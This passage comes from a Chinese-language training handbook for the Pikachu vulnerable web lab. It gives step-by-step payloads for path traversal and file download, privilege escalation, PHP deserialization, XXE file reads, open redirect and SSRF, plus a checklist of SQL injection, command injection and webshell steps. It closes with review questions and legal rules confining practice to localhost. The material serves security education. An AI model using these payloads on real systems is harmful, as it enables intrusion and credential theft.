过关标准达成：理解"图片马 + 文件包含"组合拳。学习要点：单独看上传校验很严，但和其他漏洞组合后依然被打穿——安全是体系，不是单点。

🤔 想一想：为什么图片马直接访问不执行？

答：.jpg 后缀不会交给 PHP 解释器；必须借文件包含让 PHP 引擎去读它

原理白话：下载接口按用户传的文件名拼接路径读取文件，无校验 → 任意文件下载。

看源码：

$filename = $_GET['filename'];
$file = file_get_contents($filename);   // 用户可控

1. 正常点"下载" → 下载一个 txt（先看正常流程）
2. Burp 抓请求改参数：?filename=../inc/config.inc.php → 直接下载到靶场数据库配置（含账号密码）
3. Windows 进阶：?filename=..\..\..\..\windows\win.ini；macOS：?filename=../../../../etc/passwd

过关标准达成：敏感配置文件到手。学习要点：下载接口和文件包含是"近亲"——一个读内容给攻击者，一个把内容执行出来。

🤔 想一想：下载配置文件的危害是什么？

答：拿到数据库口令，可能直接进数据库或反查其他系统复用密码

第 1 关水平越权

原理白话：服务器用客户端传来的 username 参数查库，身份校验缺失。

看源码：

// 只检查了登录态，直接按传入的 username 查库
$sql = "select * from member where username='{$_GET['username']}'";

1. 用 lucy / 123456 登录，查看自己的信息，URL 形如 ?username=lucy
2. 把 URL 改成 ?username=vince → 看到了 vince 的个人信息（手机号、邮箱等）
3. 依次换成 allen、kobe……全部可见

过关标准达成：任意同级别用户信息可读。学习要点："对象级授权"缺失——OWASP 把它列为 API 安全第一大问题（BOLA）。

🤔 想一想：如果这关改的是 ?username=admin 会怎样？

答：能看到管理员信息——水平越权和垂直越权经常连着发生

第 2 关垂直越权

原理白话：前端把"添加用户"按钮隐藏了（普通用户看不到），但后端接口没有做权限校验——直接访问接口照样能用。

看源码：管理员页面 op2_admin.php 处理添加用户请求，没有任何"当前用户是否是管理员"的判断。

1. 用普通用户 pikachu / 000000 登录 → 页面确实没有"添加用户"按钮（前端隐藏，先确认）
2. 直接访问管理员功能页：http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin.php
3. 通过该页添加一个新管理员（如 admin2 / 123456）
4. 退出，用 admin2 / 123456 登录 → 已是管理员权限，提权成功

过关标准达成：普通用户自封管理员。学习要点：前端隐藏 ≠ 权限控制，权限必须后端每个接口都校验。

🤔 想一想：为什么攻击者能"发现"这个隐藏页面？

答：页面路径在 JS/HTML 源码里能找到，且 Web 页面无秘密可言——前端所有内容都能被看到

原理白话：页面按用户传的 title 参数读取文件内容，无校验 → 路径穿越读任意文件。

1. 正常点标题 → 读出对应 txt（先看正常流程）
2. macOS：?title=../../../../etc/passwd
3. Windows：?title=..\..\..\..\windows\win.ini
4. 实战目标：?title=../inc/config.inc.php 读数据库配置

过关标准达成：任意文件内容显示。

🤔 想一想：目录遍历和本地文件包含看起来一样，本质区别是什么？

答：遍历只是"读出来"，包含是"执行"——LFI 可升级 RCE，危险得多

原理白话：开发者把敏感信息（账号、隐藏路径）放在网页注释、备份文件等"以为没人看"的地方。

1. 打开关卡页面 → F12 查看网页源代码 → 发现 HTML 注释里有隐藏提示（"看看你的 abc"之类）

（HTML 注释长这样：<!-- 我是注释，页面上不显示 -->）

1. 按提示访问 /vul/infoleak/abc.php → 页面显示隐藏的账号密码

过关标准达成：拿到隐藏账号。学习要点：真实世界的版本是——.git 泄露、www.zip 备份、注释里的测试账号、debug 开关没关。

🤔 想一想：真实网站里"敏感信息泄露"最常见的形式有哪些？

答：源码备份文件、git/svn 目录、报错信息暴露路径、API 接口文档未删

原理白话：序列化=把对象存成字符串，反序列化=把字符串变回对象。如果对象创建时（构造方法）会执行代码，而攻击者能控制序列化字符串，就能触发代码执行。

看源码：

class S {
    var $test = "pikachu";
    function __construct() {
        echo $this->test;      // 对象创建即输出
    }
}
$s = unserialize($_GET['s']);  // 直接反序列化用户输入

1. 访问：http://127.0.0.1/pikachu/vul/unserilization/unser.php?s=O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
2. 弹窗即通关
3. 解释字符串格式（重点）：

• O:1:"S" = 对象（Object），类名长度 1 的字符串 "S"
• 1:{...} = 1 个属性
• s:4:"test" = 字符串（string），长度 4，内容是 "test"（属性名）
• s:29:"<script>..." = 字符串，长度 29，内容是属性值

1. 反序列化时 __construct 被触发 → 输出我们伪造的 test → XSS 弹窗

过关标准达成：弹窗。学习要点：长度必须数对，差一个字符就失败——体会"构造 payload 要严谨"。深入一步：真实世界的反序列化 RCE 靠"魔术方法链"（gadget chain），入门阶段了解即可，进阶可深入研究。

🤔 想一想：为什么这一关的 payload 长度错了就失败？

答：序列化格式用长度定位字段，长度错位整个结构解析失败

原理白话：应用解析用户提交的 XML 时，如果允许"外部实体"，攻击者可以用 <!ENTITY> 声明实体引用任意文件/URL，XML 解析器会乖乖去读取并回显。

1. 页面表单输入恶意 XML：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

（解释：<!ENTITY xxe SYSTEM "file:///etc/passwd"> 声明了一个叫 xxe 的实体，指向系统文件；<foo>&xxe;</foo> 引用它 → 解析器读文件并放进来）

1. 提交 → 解析结果里出现 /etc/passwd 内容（macOS）
2. Windows 版本把实体改为：SYSTEM "file:///c:/windows/win.ini"
3. 进阶：读靶场配置 file:///D:/phpstudy_pro/WWW/pikachu/inc/config.inc.php（按实际路径）

过关标准达成：任意本地文件被读出。

🤔 想一想：XXE 和 SSRF 有什么联系？

答：外部实体可以指向内网 URL，让服务器代理访问内网——XXE 常作为 SSRF 的载体

原理白话：跳转接口信任用户传的目标地址，跳转到钓鱼站点时用户毫无防备（地址栏一开始是可信域名）。

1. 页面上点链接 → 跳转目标由 ?url= 参数控制（先正常点一次看流程）
2. 改成：?url=https://www.baidu.com → 跳到百度（证明任意跳转成立）
3. 危险演示：?url=javascript:alert(document.cookie) → 部分浏览器直接执行 JS

过关标准达成：任意跳转成立。

🤔 想一想：为什么攻击者不直接发钓鱼链接，要借跳转？

答：借用可信域名增加可信度，绕过邮件/社交平台对陌生域名的告警

第 1 关SSRF（curl）

原理白话：页面提供一个"URL 查看"工具，服务器用 curl 请求用户给的 URL 并回显——无任何目标校验。

看源码：

$url = $_GET['url'];
echo curl_exec($ch);   // curl 用户可控的 URL

1. 输入 http://127.0.0.1/pikachu/ → 正常回显（注意：这是服务器自己访问自己，体会"服务器替你发请求"）
2. 读靶场内网信息页：http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 回显内部信息

1. macOS：file:///etc/passwd 直接读本地文件（curl 支持 file 协议）
2. 了解内网探测思路：把 127.0.0.1 换成内网 IP 段（如 192.168.1.1）逐个探测端口——这就是打内网的入口（真实环境中这才是 SSRF 的完整用法，靶场里了解思路即可）

过关标准达成：内网资源被"借"服务器之手访问。

🤔 想一想：curl 这关能直接读服务器本机文件吗？

答：curl 默认打 http 协议；要读文件得配合 file:// 或靠下一关 file_get_contents，这正是两关能力的区别

第 2 关SSRF（file_get_contents）

原理白话：同上，只是读取函数换成 PHP 的 file_get_contents()，它同样支持 URL 和 file 协议。

1. ?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 内网信息回显
2. macOS：?file=file:///etc/passwd → 本地文件读取
3. 与 curl 版对照，理解"危险的不是函数，而是未校验的用户可控 URL"

过关标准达成：内网访问成立。

🤔 想一想：SSRF 探测内网端口时，怎么判断端口是否开放？

答：看响应差异——返回内容/响应时间/错误信息不同

每通一关，在 □ 里打钩。建议配合"过关标准"自查，全部打钩后你就是这套靶场的全通选手了。

暴力破解（4 关）

• 3.1.1 表单暴力破解：Intruder 爆破出 123456
• 3.1.2 验证码绕过（on client）：不理验证码爆破成功
• 3.1.3 验证码绕过（on server）：复用验证码爆破成功
• 3.1.4 token 防爆破：脚本输出"密码是: 123456"

XSS（10 关）

• 3.2.1 反射型（get）：F12 改 maxlength 或 Burp 改参数后弹窗
• 3.2.2 反射型（post）：登录后提交 payload 弹窗
• 3.2.3 存储型：换浏览器访问同样弹窗
• 3.2.4 DOM 型：URL 构造 payload 弹窗
• 3.2.5 DOM 型-X：表单提交闭合 payload 弹窗
• 3.2.6 盲打：管理员后台中招，Cookie 被收走
• 3.2.7 过滤：img onerror 绕过弹窗
• 3.2.8 htmlspecialchars：javascript: 协议点链接弹窗
• 3.2.9 href 输出：javascript: 协议弹窗
• 3.2.10 js 输出：闭合引号弹窗

CSRF（3 关）

• 3.3.1 CSRF（get）：点恶意链接资料被改
• 3.3.2 CSRF（post）：本地钓鱼页自动提交成功
• 3.3.3 CSRF Token：错误 token 被服务器拒绝

SQL 注入（10 关）

• 3.4.1 数字型：or 1=1 查全表
• 3.4.2 字符型：引号闭合查全表
• 3.4.3 搜索型：%' or 1=1# 查全表
• 3.4.4 xx 型：') or 1=1# 查全表
• 3.4.5 insert/update：updatexml 报错带出库名
• 3.4.6 delete：报错带出库名
• 3.4.7 http header：改 User-Agent 报错带出库名
• 3.4.8 布尔盲注：真假差异猜出数据
• 3.4.9 时间盲注：sleep 延迟差异
• 3.4.10 宽字节：%df 吃掉反斜杠

RCE（2 关）

• 3.5.1 exec "ping"：命令拼接执行 ipconfig/whoami
• 3.5.2 exec "eval"：phpinfo() 页面出现

文件包含（2 关）

• 3.6.1 LFI：读出 win.ini / etc/passwd
• 3.6.2 RFI：远程 txt 代码被执行

文件上传（3 关）

• 3.7.1 client check：改包上传，蚁剑连上
• 3.7.2 MIME：改 Content-Type 上传，蚁剑连上
• 3.7.3 图片马：配合 LFI 执行代码

文件下载（1 关）

• 3.8 文件下载：下载到 config.inc.php

越权（2 关）

• 3.9.1 水平越权：lucy 看到 vince 信息
• 3.9.2 垂直越权：普通用户自封管理员

目录遍历（1 关）

• 3.10 目录遍历：读出任意文件

敏感信息泄露（1 关）

• 3.11 敏感信息泄露：源码注释里拿到隐藏账号

PHP 反序列化（1 关）

• 3.12 反序列化：构造序列化串弹窗

XXE（1 关）

• 3.13 XXE：外部实体读出系统文件

URL 跳转（1 关）

• 3.14 URL 跳转：任意跳转成立

SSRF（2 关）

• 3.15.1 SSRF（curl）：回显内网信息页
• 3.15.2 SSRF（file_get_contents）：回显内网信息页

暴力破解

1. 简述验证码绕过（on server）关卡为什么同一个验证码能反复用？（要点：session 未销毁，一次性机制缺失）
2. token 防爆破关卡的 token 从哪来？为什么爆破工具不能直接重用？（要点：服务端生成、每次刷新、攻击者拿不到新值）
3. 设计一个登录接口的三个防爆破措施。（要点：锁定/限流/验证码/token 任选三）

XSS

1. 反射型、存储型、DOM 型三种 XSS 的区别？（要点：是否入库、是否经服务器、危害范围）
2. 为什么过滤 <script> 关键字防不住 XSS？举两个绕过例子。（要点：img onerror、svg onload、大小写等）
3. htmlspecialchars 使用正确（ENT_QUOTES）但输出在 href 里，还有风险吗？（要点：javascript: 协议，需协议白名单）
4. 盲打 XSS 的目标是谁？为什么选择打后台？（要点：管理员权限高、后台防护常被忽视）

CSRF

1. 用一句话解释 CSRF 为什么能成立？（要点：浏览器自动携带 Cookie，服务器无法区分"本人操作"与"被伪造请求"）
2. GET 改 POST 能防 CSRF 吗？为什么？（要点：不能，POST 也能被自动提交表单伪造）
3. CSRF Token 为什么攻击者拿不到？（要点：随机生成、同源策略保护、不在攻击者可读处）

SQL 注入

1. 字符型注入 payload 1' or '1'='1 中每个部分的作用？（要点：闭合、恒真、语法补全）
2. 报错注入利用了什么机制把数据带出来？（要点：updatexml 等函数参数不合法→报错信息包含数据）
3. 布尔盲注和时间盲注分别靠什么"信使"传数据？（要点：页面真假差异 / 响应时间）
4. 宽字节注入为什么能绕过 addslashes？（要点：GBK 多字节吞掉反斜杠）
5. 为什么参数化查询能防所有 SQL 注入？（要点：语句结构与数据分离，数据不再被解析为代码）

RCE / 文件包含 / 文件上传

1. 命令注入里 ; & && | 分别是什么作用？（要点：顺序/后台/与/管道）
2. 图片马为什么直接访问不执行、配合文件包含就执行？（要点：后缀不交 PHP 解释器 vs include 强制解析）
3. 文件上传的三道正确防线？（要点：服务端内容校验、目录禁执行、重命名存储）

越权 / 信息泄露

1. 水平越权和垂直越权的区别？（要点：同级别横向 vs 低权限上探高权限）
2. "前端隐藏按钮"为什么不算权限控制？（要点：前端内容攻击者全可见，必须后端校验）

进阶漏洞

1. XXE 中的 DTD 和实体是什么？（要点：DTD 定义结构、ENTITY 声明引用，外部实体可指向文件/URL）
2. SSRF 为什么能突破防火墙？（要点：请求由内网服务器发出，防火墙放行）
3. PHP 反序列化漏洞的根源是什么？（要点：unserialize 执行魔术方法，数据可控即代码可控）

期末实操考核说明（供参考）：随机抽 3 关独立通关（不允许看手册），提交通关报告（截图 + 原理 + 修复建议）。

1. 只能在本地靶场练习。对任何非授权系统（包括学校官网、同学电脑、云主机）测试漏洞，均可能触犯《刑法》第 285 条（非法侵入计算机信息系统罪）、第 286 条（破坏计算机信息系统罪）和《网络安全法》第 27 条
2. 练习限 127.0.0.1 和本机局域网靶场；不得把攻击流量发到互联网真实网站
3. 不传播、不出售攻击工具与手册给非课程同学；通关报告不公开发布
4. 将来参与 SRC（漏洞赏金）平台时，须遵守平台授权范围，越界即违法
5. 强调：学习攻击技术是为了防御，安全从业者的第一素质是底线意识

• Pikachu 源码仓库：https://github.com/zhuifengshaonianhanlu/pikachu
• PHPStudy 官网：https://www.xp.cn
• Burp Suite 社区版：https://portswigger.net/burp/communitydownload
• 中国蚁剑：https://github.com/AntSwordProject/antSword
• OWASP Top 10：https://owasp.org/www-project-top-ten/

本手册全部 payload 均针对本地 Pikachu 靶场环境，仅用于学习练习。使用时请按实际部署路径/端口微调。